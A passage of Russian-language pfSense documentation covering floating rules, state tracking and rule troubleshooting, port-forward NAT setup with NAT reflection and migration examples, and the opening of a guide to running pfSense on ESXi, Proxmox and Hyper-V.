- **Quick включён** (по умолчанию) - стандартный принцип first match wins. При совпадении пакет немедленно обрабатывается согласно действию правила.
- **Quick отключён** - принцип last match wins. Пакет продолжает проверяться по оставшимся правилам, и действие определяется последним совпавшим правилом.

Отключение Quick используется редко и предназначено для сложных сценариев, требующих переопределения действия на более поздних этапах обработки.

### Действие Match

Действие **Match** уникально для floating rules. Оно не пропускает и не блокирует пакет, а только помечает его для целей traffic shaping - назначения в очередь ALTQ или применения limiter. Это основное применение floating rules в конфигурациях QoS.

### Типичные сценарии использования

- **Traffic shaping (ALTQ)** - наиболее частое применение. Floating rules назначают трафик в очереди приоритезации.
- **Фильтрация исходящего трафика** - единственный способ фильтрации пакетов, покидающих интерфейс (outbound direction).
- **Фильтрация трафика самого файрвола** - контроль трафика, генерируемого процессами файрвола (DNS-запросы, NTP, обновления пакетов).
- **Мультиинтерфейсные правила** - применение одного правила к нескольким интерфейсам одновременно вместо дублирования правил на каждой вкладке.

> **Внимание**:
>
> Floating rules не добавляют автоматически директиву `reply-to` для входящего трафика. В конфигурациях Multi-WAN это может привести к асимметричной маршрутизации ответного трафика. Для Multi-WAN сценариев предпочтительно использовать правила на вкладках интерфейсов.

## Отслеживание состояний

pfSense по умолчанию работает как stateful firewall. При совпадении разрешающего правила (Pass) создаётся запись в таблице состояний (state table). Все последующие пакеты того же соединения обрабатываются на основании этой записи без повторной проверки правил.

![Таблица состояний pfSense](/img/pfsense/pfsense-firewall-states.webp)
<p style="text-align: center;">Рис. 5. Таблица состояний (Diagnostics > States)</p>

### Типы состояний (State Type)

| Тип | Описание | Применение |
|---|---|---|
| **Keep State** | Стандартное отслеживание состояний. По умолчанию для всех правил. | Большинство сценариев |
| **Sloppy State** | Менее строгая проверка последовательности пакетов. Допускает пропущенные пакеты. | Асимметричная маршрутизация, кластерные конфигурации |
| **Synproxy State** | Файрвол проксирует TCP-хендшейк: устанавливает соединение с клиентом от своего имени, затем устанавливает соединение с сервером. | Защита от SYN flood-атак на публичные сервисы |
| **None** | Отслеживание состояний отключено. Каждый пакет проверяется по правилам. | Специальные случаи; требует парных правил для ответного трафика |

### Таблица состояний и таймауты

Таблица состояний хранит информацию обо всех активных соединениях. Каждая запись содержит:

- Адреса и порты источника и назначения
- Интерфейс, на котором создано состояние
- Текущее состояние TCP-соединения (SYN_SENT, ESTABLISHED, FIN_WAIT и т.д.)
- Время создания и время последнего пакета
- Количество переданных байт и пакетов

Состояния удаляются по истечении таймаута неактивности. Значения таймаутов по умолчанию настраиваются в **System > Advanced > Firewall & NAT**. pfSense поддерживает адаптивные таймауты: при заполнении таблицы состояний выше порогового значения таймауты автоматически сокращаются для освобождения ресурсов.

Просмотр текущей таблицы состояний доступен в **Diagnostics > States**. Здесь можно фильтровать состояния по интерфейсу, IP-адресу, порту и удалять отдельные записи вручную.

### Ограничение количества состояний

В параметрах правила доступны ограничения:

- **Maximum state entries** - максимальное количество состояний, создаваемых данным правилом
- **Maximum source nodes** - максимальное количество уникальных IP-адресов источника
- **Maximum established connections per host** - максимальное количество установленных соединений для одного IP
- **Maximum new connections per second** - ограничение скорости установления новых TCP-соединений (защита от DDoS)

## Группировка и организация правил

При увеличении количества правил их организация становится критически важной. pfSense предоставляет несколько механизмов для упорядочивания набора правил.

### Разделители (Separators)

Разделители - цветные полосы с текстовыми заголовками, которые визуально группируют правила на вкладке интерфейса. Разделители не влияют на обработку трафика и служат исключительно для навигации. Для добавления разделителя следует нажать кнопку разделителя в верхней части списка правил.

Рекомендуемая структура разделителей:

```
--- Management Access ---
  SSH, HTTPS к файрволу
--- Internal Services ---
  DNS, NTP, DHCP
--- Server Farm ---
  Правила доступа к серверам
--- User Access ---
  Доступ пользователей к ресурсам
--- Deny All (explicit) ---
  Явное правило запрета с журналированием
```

### Описания правил

Каждое правило должно содержать осмысленное описание. Рекомендуется включать:

- Назначение правила (что разрешает/запрещает)
- Номер тикета или запроса на изменение
- Дату создания (для временных правил)

### Стратегия порядка следования

Рекомендуемый порядок правил на вкладке интерфейса:

1. Правила блокировки известных угроз (blacklists)
2. Правила доступа к управлению файрволом
3. Правила для внутренних сервисов (DNS, NTP, DHCP)
4. Правила доступа к серверам
5. Правила доступа пользователей к интернету
6. Явное правило запрета с включённым журналированием (для аудита отклонённого трафика)

Явное правило запрета в конце списка не является обязательным - implicit deny выполнит ту же функцию. Однако явное правило с журналированием позволяет фиксировать весь отклонённый трафик, что полезно для диагностики и аудита.

## Устранение неполадок

### Чтение журнала файрвола

Журнал файрвола доступен в **Status > System Logs > Firewall**. Каждая запись содержит:

- Действие (Pass или Block)
- Интерфейс, на котором сработало правило
- Правило, вызвавшее запись (ID правила или описание)
- Адреса и порты источника и назначения
- Протокол и флаги

Для эффективного анализа рекомендуется использовать фильтры по интерфейсу, действию и IP-адресу.

### Просмотр загруженных правил через консоль

Для просмотра текущих правил, загруженных в ядро pf, используется команда `pfctl`:

```bash
# View all loaded rules with rule numbers
pfctl -sr

# View rules with verbose output (includes labels and counters)
pfctl -vsr

# View current state table
pfctl -ss

# View state table filtered by host
pfctl -ss | grep 192.168.1.100

# View state table statistics
pfctl -si
```

Команды выполняются в консоли файрвола: через SSH, последовательную консоль или **Diagnostics > Command Prompt** в веб-интерфейсе.

### Таблица состояний

При подозрении, что трафик блокируется устаревшей записью в таблице состояний:

1. Перейти в **Diagnostics > States**
2. Найти записи для проблемного IP-адреса или порта
3. Удалить устаревшие состояния кнопкой удаления
4. При массовой очистке использовать **Diagnostics > States > Reset States**

> **Внимание**:
>
> Сброс всех состояний прервёт все активные соединения через файрвол, включая собственную сессию администратора. Выполнять эту операцию следует только в согласованное окно обслуживания.

### Захват пакетов

Для детальной диагностики доступен встроенный инструмент захвата пакетов в **Diagnostics > Packet Capture**:

1. Выбрать интерфейс, на котором требуется перехват
2. Указать фильтр по протоколу, адресу и порту
3. Запустить захват и воспроизвести проблемный трафик
4. Остановить захват и скачать файл pcap для анализа в Wireshark

Дополнительно захват пакетов возможен из командной строки:

```bash
# Capture packets on LAN interface for specific host
tcpdump -i em1 host 192.168.1.100 -n -vv

# Capture only TCP SYN packets (new connections)
tcpdump -i em1 'tcp[tcpflags] & tcp-syn != 0' -n

# Save capture to file for later analysis
tcpdump -i em1 host 192.168.1.100 -w /tmp/capture.pcap
```

### Типичные проблемы и решения

| Симптом | Вероятная причина | Решение |
|---|---|---|
| Трафик блокируется при наличии разрешающего правила | Правило расположено ниже блокирующего правила | Переместить разрешающее правило выше блокирующего |
| Правило не совпадает с трафиком | Правило создано на неверном интерфейсе | Проверить, что правило создано на интерфейсе, на который **входит** трафик |
| Ответный трафик не проходит | Устаревшая запись в таблице состояний | Очистить состояния для проблемного соединения |
| Floating rule не работает | Не установлен флаг Quick | Включить Quick для немедленного применения действия |
| Anti-lockout rule не защищает | Доступ через интерфейс, отличный от LAN | Anti-lockout действует только на LAN; для других интерфейсов требуется явное правило доступа |

## Связанные разделы

- [Алиасы](/docs/pfsense/firewall/pfsense-firewall-aliases/) - группировка адресов и портов для упрощения управления правилами
- [Расписания](/docs/pfsense/firewall/pfsense-firewall-schedules/) - применение правил по расписанию
- [Лучшие практики](/docs/pfsense/firewall/pfsense-firewall-best-practices/) - рекомендации по организации набора правил и политике безопасности
- [NAT и проброс портов](/docs/pfsense/nat/) - трансляция адресов и проброс портов, взаимодействие NAT-правил с правилами файрвола
- [Установка pfSense](/docs/pfsense/installation/pfsense-installation-guide/) - установка и первоначальная настройка pfSense
- [Интеграция pfSense с Wazuh](/docs/pfsense/pfsense-wazuh-integration/) - мониторинг событий файрвола в SIEM-системе Wazuh


---

# Проброс портов в pfSense - настройка Port Forward NAT

Source: https://opennix.org/docs/pfsense/nat/pfsense-port-forwarding/


Проброс портов (port forwarding) - основной механизм предоставления доступа из внешней сети к сервисам на внутренних хостах. При получении пакета на WAN-интерфейс pfSense проверяет таблицу правил проброса и при совпадении заменяет адрес назначения на IP-адрес внутреннего сервера. Это разновидность DNAT (Destination NAT) - трансляции адреса назначения.

Проброс портов применяется для публикации веб-серверов, почтовых серверов, игровых серверов, систем видеонаблюдения и любых других сервисов, требующих входящих подключений из интернета. Каждое правило проброса определяет, какой входящий трафик перенаправлять и на какой внутренний хост.

## Предварительные требования

Перед настройкой проброса портов необходимо убедиться в выполнении следующих условий:

- **Статический или предсказуемый WAN-адрес**. Проброс работает по адресу назначения на WAN-интерфейсе. При динамическом WAN-адресе (DHCP от провайдера) проброс функционирует, но при смене адреса внешние клиенты теряют доступ. В таких случаях следует настроить Dynamic DNS (DynDNS) для автоматического обновления DNS-записи.
- **Статический IP-адрес целевого сервера**. Внутренний сервер, на который перенаправляется трафик, должен иметь фиксированный IP-адрес. Допускается использование DHCP-резервации (static mapping) вместо ручной настройки IP на сервере.
- **Сервис запущен и слушает порт**. Целевой сервис должен быть запущен и привязан к ожидаемому порту. Локальный файрвол сервера (iptables, Windows Firewall) не должен блокировать входящие соединения.
- **Порт не заблокирован провайдером**. Некоторые провайдеры блокируют входящие соединения на стандартные порты (80, 443, 25). Следует уточнить у провайдера наличие ограничений или использовать нестандартные порты.

## Создание проброса порта

Правила проброса портов настраиваются в разделе **Firewall > NAT > Port Forward**. Для создания нового правила следует нажать кнопку **Add** (стрелка вверх - добавление в начало списка, стрелка вниз - в конец).

![Список правил проброса портов](/img/pfsense/pfsense-nat-port-forward-list.webp)
<p style="text-align: center;">Рис. 1. Список правил проброса портов (Firewall > NAT > Port Forward)</p>

### Параметры правила проброса

Форма создания правила проброса содержит следующие поля:

![Форма редактирования правила проброса порта](/img/pfsense/pfsense-nat-port-forward-edit.webp)
<p style="text-align: center;">Рис. 2. Форма редактирования правила проброса порта</p>

**Interface** - интерфейс, на котором перехватывается входящий трафик. В большинстве случаев указывается WAN. При наличии нескольких WAN-интерфейсов необходимо создавать отдельное правило для каждого. Для проброса между внутренними сетями (например, DMZ -> LAN) указывается соответствующий внутренний интерфейс.

**Protocol** - протокол транспортного уровня. Доступные варианты:

| Протокол | Применение |
|---|---|
| TCP | Веб-серверы, SSH, почта, большинство сервисов |
| UDP | DNS, VoIP (SIP/RTP), игровые серверы |
| TCP/UDP | Сервисы, использующие оба протокола (DNS, некоторые игры) |
| SCTP | Специализированные протоколы сигнализации (SS7, Diameter) |
| GRE | Туннели GRE (PPTP passthrough) |
| ESP | IPsec (при необходимости проброса ESP без использования встроенного IPsec) |

**Destination** - адрес назначения во входящем пакете, по которому выполняется сопоставление. Типичные значения:

- **WAN address** - основной адрес WAN-интерфейса. Используется в подавляющем большинстве случаев.
- **Virtual IP (VIP)** - виртуальный IP-адрес, настроенный на WAN-интерфейсе. Используется при наличии нескольких публичных адресов.
- **Any** - любой адрес назначения. Применяется в редких сценариях (например, перехват DNS-запросов).

**Destination port range** - порт или диапазон портов назначения. Можно указать один порт, именованный порт (HTTP, HTTPS, SSH) или диапазон (From/To). При пробросе диапазона портов размер диапазона на стороне назначения и перенаправления должен совпадать.

**Redirect target IP** - IP-адрес внутреннего сервера, на который перенаправляется трафик. Поддерживается указание одного адреса или алиаса. При использовании алиаса pfSense выполняет балансировку нагрузки между адресами алиаса (round-robin).

**Redirect target port** - порт на внутреннем сервере. Может отличаться от порта назначения. Например, входящий трафик на WAN:8080 можно перенаправить на внутренний сервер 192.168.1.10:80. При пробросе диапазона портов указывается начальный порт целевого диапазона.

**Description** - текстовое описание правила. Рекомендуется указывать назначение проброса и имя целевого сервера (например, "Web server - HTTP/HTTPS to srv-web-01").

**No XMLRPC Sync** - отключение синхронизации правила между нодами в кластере высокой доступности (CARP). Применяется, когда правило специфично для одной ноды.

**NAT Reflection** - режим отражения NAT для данного правила. Подробнее рассмотрено в разделе [NAT Reflection](#nat-reflection).

**Filter Rule Association** - связь с правилом файрвола. Подробнее рассмотрено в разделе [Связь с правилами файрвола](#svyaz-s-pravilami-fayrvola).

### Пример: проброс HTTPS на веб-сервер

Задача: обеспечить доступ из интернета к веб-серверу 192.168.1.10 по HTTPS (порт 443).

| Параметр | Значение |
|---|---|
| Interface | WAN |
| Protocol | TCP |
| Destination | WAN address |
| Destination port range | HTTPS (443) |
| Redirect target IP | 192.168.1.10 |
| Redirect target port | 443 |
| Description | HTTPS to srv-web-01 |
| Filter Rule Association | Add associated filter rule |

После сохранения правила необходимо нажать **Apply Changes** для применения конфигурации.

## Связь с правилами файрвола

Проброс порта выполняет только трансляцию адреса назначения. Для фактического пропуска трафика необходимо правило файрвола, разрешающее соединение. pfSense предлагает четыре варианта связи с правилом файрвола:

### Add associated filter rule

pfSense автоматически создаёт связанное правило файрвола на интерфейсе, указанном в правиле проброса. При изменении параметров проброса (порт, протокол, адрес назначения) связанное правило обновляется автоматически. Это рекомендуемый вариант для большинства случаев.

Связанное правило отображается на вкладке правил соответствующего интерфейса с пометкой (NAT) и иконкой якоря. Редактирование порта и адреса назначения в связанном правиле заблокировано - эти параметры управляются правилом проброса.

### Add unassociated filter rule

pfSense создаёт отдельное правило файрвола, не привязанное к правилу проброса. Изменения в правиле проброса не отражаются на правиле файрвола - его необходимо обновлять вручную. Используется, когда требуется полный контроль над параметрами правила файрвола (например, ограничение по источнику).

### Pass

Трафик пропускается без создания отдельного правила файрвола. pfSense использует ключевое слово `pass` в правиле pf, совмещая трансляцию и фильтрацию в одной записи. Этот режим работает только при наличии одного шлюза - при нескольких WAN-интерфейсах с policy routing результат непредсказуем.

> **Внимание**:
>
> Режим Pass не позволяет ограничить доступ по IP-адресу источника. Весь трафик, совпавший с правилом проброса, будет пропущен. Для ограничения доступа следует использовать Add associated filter rule или Add unassociated filter rule.

### None

Правило файрвола не создаётся. Администратор должен вручную создать правило на соответствующей вкладке интерфейса. Используется в сложных сценариях, когда одно правило файрвола обслуживает несколько правил проброса.

### Типичные ошибки

- **Правило проброса создано, но правило файрвола отсутствует.** При выборе None и отсутствии ручного правила трафик блокируется.
- **Связанное правило перемещено вручную.** Связанные правила привязаны к правилу проброса по ID. Перемещение или удаление связанного правила нарушает привязку.
- **Дублирование правил файрвола.** При переключении между типами ассоциации старое правило может остаться. Следует проверить вкладку правил интерфейса на наличие дубликатов.

## NAT Reflection

NAT reflection (NAT hairpin, loopback NAT) позволяет хостам внутренней сети обращаться к проброшенным сервисам по внешнему (публичному) адресу. Без NAT reflection клиент из LAN, обращающийся к публичному IP, не получит ответ, поскольку пакет от внутреннего сервера вернётся напрямую, минуя трансляцию.

Настройка глобального режима NAT reflection выполняется в **System > Advanced > Firewall & NAT** в секции **Network Address Translation**.

![Настройки NAT reflection](/img/pfsense/pfsense-nat-reflection.webp)
<p style="text-align: center;">Рис. 3. Глобальные настройки NAT reflection (System > Advanced > Firewall & NAT)</p>

### Режимы NAT reflection

pfSense поддерживает три режима NAT reflection:

**Disable** - NAT reflection отключено. Внутренние клиенты не могут обращаться к проброшенным сервисам по внешнему адресу. Для доступа необходимо использовать внутренний IP-адрес сервера или настроить split DNS (разделённый DNS).

**NAT + Proxy** - pfSense выступает прокси-сервером для отражённых соединений. Пакет от клиента LAN перехватывается, pfSense устанавливает новое соединение к целевому серверу от своего имени и ретранслирует данные. Преимущества:

- Работает без дополнительных маршрутов.
- Целевой сервер видит IP-адрес pfSense как источник, что упрощает маршрутизацию ответа.
- Поддерживает проброс на порт, отличный от входящего.

Недостатки:

- Увеличивает нагрузку на pfSense (каждое соединение обрабатывается в пользовательском пространстве).
- Не поддерживает UDP.
- Ограниченная производительность при большом числе одновременных соединений.

**Pure NAT** - pfSense выполняет трансляцию на уровне ядра без прокси. Пакет от клиента LAN проходит через правила NAT аналогично внешнему трафику. Преимущества:

- Высокая производительность (обработка на уровне pf).
- Поддерживает TCP и UDP.
- Поддерживает диапазоны портов.

Недостатки:

- Требует включения опции **Enable automatic outbound NAT for Reflection** в настройках NAT reflection.
- Целевой сервер видит реальный IP-адрес клиента LAN. Если сервер отвечает напрямую клиенту (минуя pfSense), ответ отбрасывается, поскольку клиент ожидает ответ от публичного IP. Решение - добавить маршрут на сервере или включить автоматический outbound NAT для reflection.

### Выбор режима

| Критерий | NAT + Proxy | Pure NAT |
|---|---|---|
| Протокол | Только TCP | TCP и UDP |
| Производительность | Ниже (userspace proxy) | Выше (kernel-level pf) |
| Настройка | Минимальная | Требуется automatic outbound NAT |
| Видимость клиента | Сервер видит IP pfSense | Сервер видит IP клиента |
| Диапазоны портов | Не поддерживает | Поддерживает |

Для большинства инсталляций рекомендуется режим **Pure NAT** с включённой опцией **Enable automatic outbound NAT for Reflection**. Режим NAT + Proxy следует применять только при невозможности использования Pure NAT (например, при сложной маршрутизации, исключающей корректную обработку на уровне ядра).

### Переопределение на уровне правила

Каждое правило проброса содержит поле **NAT Reflection**, позволяющее переопределить глобальный режим. Доступные значения:

- **Use system default** - используется глобальная настройка.
- **Enable (NAT + Proxy)** - принудительно включает NAT + Proxy для данного правила.
- **Enable (Pure NAT)** - принудительно включает Pure NAT.
- **Disable** - отключает NAT reflection для данного правила.

Переопределение полезно, когда для одного сервиса требуется режим, отличный от глобального (например, глобально включён Pure NAT, но для конкретного TCP-сервиса необходим NAT + Proxy).

### Альтернатива: split DNS

Альтернативой NAT reflection является split DNS (разделённый DNS, split-horizon DNS). При этом подходе внутренний DNS-сервер (DNS Resolver или DNS Forwarder в pfSense) возвращает внутренний IP-адрес сервера для запросов из LAN, а внешний DNS - публичный IP.

Split DNS предпочтительнее NAT reflection по следующим причинам:

- Отсутствие дополнительной нагрузки на pfSense.
- Трафик между клиентом и сервером не проходит через файрвол (при нахождении в одной подсети).
- Корректная работа с любыми протоколами.

Настройка split DNS в pfSense выполняется через **Services > DNS Resolver > Host Overrides**.

## Продвинутые сценарии

### Проброс диапазона портов

При необходимости проброса диапазона портов (например, для FTP passive mode, RTP или игровых серверов) указывается диапазон в поле **Destination port range** и начальный порт в поле **Redirect target port**. Размер диапазона определяется полем Destination port range - размер целевого диапазона вычисляется автоматически.

Пример: проброс портов 10000-10100 на внутренний сервер 192.168.1.20, начиная с порта 10000.

| Параметр | Значение |
|---|---|
| Destination port range | 10000 - 10100 |
| Redirect target IP | 192.168.1.20 |
| Redirect target port | 10000 |

### Перенаправление на другой порт

Входящий порт не обязан совпадать с целевым. Это позволяет скрыть стандартные порты или разместить несколько однотипных сервисов за одним публичным адресом.

Пример: публикация двух веб-серверов по одному WAN-адресу.

| Правило | WAN порт | Целевой IP | Целевой порт |
|---|---|---|---|
| Web server 1 | 443 | 192.168.1.10 | 443 |
| Web server 2 | 8443 | 192.168.1.11 | 443 |

Для публикации нескольких HTTPS-сервисов на стандартном порту 443 рекомендуется использовать reverse proxy (HAProxy, доступен как пакет pfSense) вместо проброса портов.

### Множественные WAN-интерфейсы

При наличии нескольких WAN-интерфейсов правила проброса создаются отдельно для каждого интерфейса. Если один и тот же сервис должен быть доступен через все WAN-интерфейсы, необходимо создать отдельное правило для каждого WAN с указанием соответствующего интерфейса и адреса назначения.

При использовании Virtual IP (CARP, IP Alias, Other) в качестве адреса назначения правило проброса привязывается к интерфейсу, на котором настроен VIP.

### Проброс VoIP/SIP

Проброс SIP-трафика требует особого внимания из-за особенностей протокола:

- SIP использует порт 5060 (TCP/UDP) для сигнализации и динамические порты (RTP, обычно 10000-20000) для медиа.
- Необходимо пробросить как порт SIP, так и диапазон RTP.
- При наличии SIP ALG (Application Layer Gateway) в pfSense или на вышестоящем оборудовании его следует отключить, поскольку ALG часто нарушает работу SIP.
- Рекомендуется настроить на SIP-устройстве явный STUN-сервер и корректный External IP.

Пример набора правил для SIP-сервера 192.168.1.30:

| Правило | Протокол | WAN порт | Целевой порт |
|---|---|---|---|
| SIP signaling | UDP | 5060 | 5060 |
| RTP media | UDP | 10000-20000 | 10000 |

### No RDR (NOT)

Опция **No RDR (NOT)** в правиле проброса инвертирует действие: вместо перенаправления pfSense явно запрещает перенаправление для совпавших пакетов. Это применяется для создания исключений - например, чтобы трафик от определённого источника не перенаправлялся, а обрабатывался локально.

## Устранение неполадок

При неработающем пробросе портов следует последовательно проверить каждый элемент цепочки.

### Контрольный список диагностики

1. **Провайдер не блокирует порт?**
   Некоторые провайдеры блокируют входящие соединения на порты 25, 80, 443. Проверить можно внешним сканером портов (при обращении напрямую на WAN-адрес) или уточнить у провайдера. При блокировке использовать нестандартный внешний порт.

2. **Правило проброса существует и активно?**
   Перейти в **Firewall > NAT > Port Forward** и убедиться, что правило присутствует, не отключено (отключённые правила отображаются серым) и параметры корректны.

3. **Правило файрвола существует?**
   Перейти на вкладку правил соответствующего интерфейса (обычно WAN) и убедиться, что существует правило, разрешающее трафик к целевому IP и порту. При использовании Add associated filter rule правило отмечено иконкой якоря.

4. **Целевой сервер запущен и слушает порт?**
   Подключиться к серверу из LAN напрямую по внутреннему IP и целевому порту. Если подключение не устанавливается - проблема на стороне сервера, а не pfSense.

5. **Локальный файрвол сервера не блокирует трафик?**
   Windows Firewall, iptables, firewalld или другой хостовой файрвол может блокировать входящие соединения. Временно отключить для диагностики или создать разрешающее правило.

6. **NAT reflection настроен (при тестировании из LAN)?**
   Тестирование проброса из внутренней сети работает только при включённом NAT reflection или настроенном split DNS. Для диагностики рекомендуется тестировать с внешнего устройства (мобильный телефон через сотовую сеть).

7. **Нет конфликтов с другими правилами?**
   Правило проброса на порт, совпадающий с локальным сервисом pfSense (например, порт 443 - веб-интерфейс), перехватит трафик. Убедиться, что порт управления pfSense не совпадает с пробрасываемым портом, или перенести веб-интерфейс на другой порт (**System > Advanced > Admin Access**).

8. **Маршрут по умолчанию на целевом сервере указывает на pfSense?**
   Если шлюз по умолчанию целевого сервера - не pfSense, ответные пакеты уходят в другой маршрутизатор и не проходят обратную трансляцию NAT. Убедиться, что default gateway сервера - IP-адрес pfSense на соответствующем интерфейсе.

### Диагностика через журналы

Журнал файрвола (**Status > System Logs > Firewall**) фиксирует заблокированные пакеты. Если входящий пакет заблокирован на WAN - отсутствует или некорректно правило файрвола. Фильтрация журнала по WAN-адресу и порту назначения позволяет быстро обнаружить проблему.

Для расширенной диагностики используется **Diagnostics > Packet Capture**: захват трафика на WAN-интерфейсе по целевому порту покажет, поступают ли пакеты на pfSense. Захват на LAN-интерфейсе покажет, передаётся ли трафик после трансляции.

### Диагностика через командную строку

```bash
# Check NAT state table for active translations
pfctl -s state | grep <target_port>

# View NAT rules loaded in pf
pfctl -s nat

# Verify the port forward rule is present
pfctl -s nat | grep rdr
```

## Миграция с других платформ

### Cisco ASA

В Cisco ASA входящий NAT настраивается командой `object` + `nat`:

```text
object network WEB-SERVER
 host 192.168.1.10
 nat (inside,outside) static interface service tcp 443 443
```

Эквивалент в pfSense: правило проброса порта с Interface = WAN, Destination = WAN address, Destination port = 443, Redirect target IP = 192.168.1.10, Redirect target port = 443.

В ASA 8.2 и ранее использовался синтаксис `static (inside,outside)`. Логика трансляции при миграции не меняется, меняется только способ задания.

### FortiGate

FortiGate использует Virtual IP (VIP) для входящего NAT:

```text
config firewall vip
    edit "WEB-SERVER"
        set extintf "wan1"
        set mappedip "192.168.1.10"
        set portforward enable
        set extport 443
        set mappedport 443
    next
end
```

В FortiGate VIP и policy - раздельные объекты. В pfSense правило проброса может автоматически создать связанное правило файрвола (Add associated filter rule), что упрощает конфигурацию. При миграции следует перенести как VIP (в правило проброса), так и policy (в правило файрвола).

### MikroTik RouterOS

MikroTik использует `dst-nat` в таблице NAT:

```text
/ip firewall nat add chain=dstnat dst-address=<WAN_IP> protocol=tcp \
    dst-port=443 action=dst-nat to-addresses=192.168.1.10 to-ports=443
```

В MikroTik правило NAT и правило файрвола (forward chain) - независимые сущности. При миграции на pfSense следует учитывать, что pfSense может автоматически связать правило проброса с правилом файрвола.

Дополнительное различие: в MikroTik правила NAT обрабатываются в chain dstnat до маршрутизации, аналогично pfSense. Однако в MikroTik политика по умолчанию - Accept, тогда как в pfSense - Deny. При миграции необходимо убедиться, что все необходимые разрешающие правила файрвола созданы.

## Связанные разделы

- [NAT в pfSense](/docs/pfsense/nat/) - обзор NAT, порядок обработки трансляций, типы NAT
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание и управление правилами фильтрации, порядок обработки
- [Алиасы файрвола](/docs/pfsense/firewall/pfsense-firewall-aliases/) - группировка адресов и портов для использования в правилах проброса
- [VPN в pfSense](/docs/pfsense/vpn/) - настройка VPN, требующая корректного NAT (static port, NAT exemption)


---

# Развертывание pfSense в виртуальной среде

Source: https://opennix.org/docs/pfsense/virtualization/pfsense-virtualization-guide/


Виртуализация pfSense позволяет консолидировать сетевую инфраструктуру, упростить резервное копирование и развертывание нескольких изолированных экземпляров на одном физическом сервере. В этом руководстве рассмотрены все основные платформы виртуализации с акцентом на сетевую конфигурацию - ключевой аспект, определяющий стабильность и производительность виртуального маршрутизатора.

Минимальные требования для виртуальной машины pfSense: 1 ГБ ОЗУ (рекомендуется 2 ГБ и более при использовании Suricata/Snort), 8 ГБ дискового пространства и минимум два сетевых интерфейса (WAN и LAN). Для маршрутизации на скоростях выше 1 Гбит/с рекомендуется выделять 2 и более vCPU.

## VMware ESXi

### Создание виртуальной машины

При создании ВМ в ESXi выберите тип гостевой ОС **Other - FreeBSD 14 (64-bit)**. pfSense основан на FreeBSD, поэтому выбор корректного типа ОС обеспечивает правильную работу VMware Tools и оптимальные настройки ВМ по умолчанию.

Рекомендуемые параметры:

| Параметр | Значение |
|---|---|
| vCPU | 2 (минимум 1) |
| ОЗУ | 2048 МБ |
| Диск | 16 ГБ, Thin Provisioning |
| SCSI-контроллер | LSI Logic SAS или pvscsi |
| Сетевой адаптер | VMXNET3 |

### Сетевые адаптеры: VMXNET3 и E1000

**VMXNET3** - паравиртуальный адаптер VMware, обеспечивающий максимальную производительность. pfSense включает драйвер vmx(4) для VMXNET3, который поддерживает аппаратные контрольные суммы, TSO (TCP Segmentation Offload) и RSS (Receive Side Scaling). Это рекомендуемый тип адаптера для всех production-развертываний.

**E1000** - эмулированный адаптер Intel 82545EM. Используется как запасной вариант при проблемах совместимости. Производительность E1000 существенно ниже VMXNET3 - разница особенно заметна при нагрузке свыше 500 Мбит/с.

> **Важно**: при замене типа адаптера на уже настроенной ВМ интерфейсы pfSense могут поменять свои имена (например, em0 станет vmx0). После замены необходимо переназначить интерфейсы через меню консоли (пункт 1 - Assign Interfaces).

### Настройка сети ESXi

Создайте отдельные виртуальные коммутаторы (vSwitch) или группы портов для WAN и LAN. Убедитесь, что:

- Для WAN-группы портов включен режим **Promiscuous Mode: Accept**, если pfSense должен видеть трафик, предназначенный не только его MAC-адресу
- Для группы портов с VLAN trunk установлен VLAN ID **4095** (All)
- **Forged Transmits: Accept** включен на группах портов, если pfSense выполняет NAT

### Консоль ESXi

Для доступа к консоли pfSense через vSphere используйте **Web Console** (HTML5) или **VMRC**. Если консоль не отображает меню pfSense:

1. Проверьте, что тип консоли ВМ установлен на **VNC** или **VMRC**
2. Убедитесь, что serial-порт не активирован, если вы используете графическую консоль
3. При загрузке pfSense нажмите пробел для прерывания автозагрузки - это поможет диагностировать проблемы загрузчика

## Proxmox VE

### Создание виртуальной машины

В Proxmox VE создайте ВМ с типом ОС **Other** и версией **Generic**. Рекомендуемые параметры:

| Параметр | Значение |
|---|---|
| CPU | 2 ядра, тип host |
| ОЗУ | 2048 МБ |
| Диск | 16 ГБ, VirtIO Block (virtio-blk) |
| Сеть | VirtIO (virtio-net) |
| Дисплей | VirtIO-GPU или Std VGA |

### VirtIO и производительность

pfSense поддерживает драйверы VirtIO (virtio_net, virtio_blk) начиная с версии 2.4. VirtIO обеспечивает околонативную производительность ввода-вывода, что делает его оптимальным выбором для Proxmox.

Если при установке pfSense не обнаруживает VirtIO-диск, временно переключите контроллер на IDE или SATA, установите систему, а затем добавьте VirtIO-диск и перенесите на него установку.

### QEMU Guest Agent

Установите пакет **qemu-guest-agent** через менеджер пакетов pfSense для корректного взаимодействия с Proxmox:

1. Перейдите в **System - Package Manager - Available Packages**
2. Найдите и установите **QEMU Guest Agent**
3. В настройках ВМ Proxmox включите опцию **QEMU Guest Agent**

Guest Agent обеспечивает корректное завершение работы ВМ при остановке через интерфейс Proxmox, заморозку файловой системы при создании снимков и передачу IP-адресов в интерфейс управления Proxmox.

### PCI Passthrough

Для максимальной сетевой производительности можно пробросить физический сетевой адаптер в ВМ с pfSense:

1. Включите IOMMU в BIOS/UEFI сервера (Intel VT-d или AMD-Vi)
2. Добавьте параметры ядра в `/etc/default/grub`:

```
# Для Intel
GRUB_CMDLINE_LINUX_DEFAULT="quiet intel_iommu=on"

# Для AMD
GRUB_CMDLINE_LINUX_DEFAULT="quiet amd_iommu=on"
```

3. Обновите GRUB и перезагрузите сервер
4. В настройках ВМ добавьте PCI-устройство через **Hardware - Add - PCI Device**
5. Выберите нужный сетевой адаптер и включите **All Functions** для многопортовых карт

> **Предупреждение**: PCI passthrough привязывает ВМ к конкретному физическому хосту, что делает невозможной живую миграцию. Используйте passthrough только для WAN-интерфейса, где критична производительность.

## Hyper-V

### Создание виртуальной машины

Hyper-V поддерживает pfSense, но с ограничениями. Создайте ВМ поколения **Generation 1** (Generation 2 не поддерживается pfSense из-за использования UEFI-загрузчика, несовместимого с FreeBSD).

Рекомендуемые параметры:

| Параметр | Значение |
|---|---|
| Поколение | Generation 1 |
| vCPU | 2 |
| ОЗУ | 2048 МБ (статическая память) |
| Диск | 16 ГБ, VHDX |
| Сетевой адаптер | Синтетический адаптер (по умолчанию) |

### Integration Services

pfSense поддерживает Hyper-V Integration Services (BIS - BSD Integration Services) начиная с FreeBSD 10. Для корректной работы:

- Убедитесь, что Integration Services включены в настройках ВМ
- pfSense автоматически загружает модули hv_vmbus, hv_storvsc и hv_netvsc
- Синтетические сетевые адаптеры обеспечивают приемлемую производительность при стандартных нагрузках

### Legacy-адаптеры

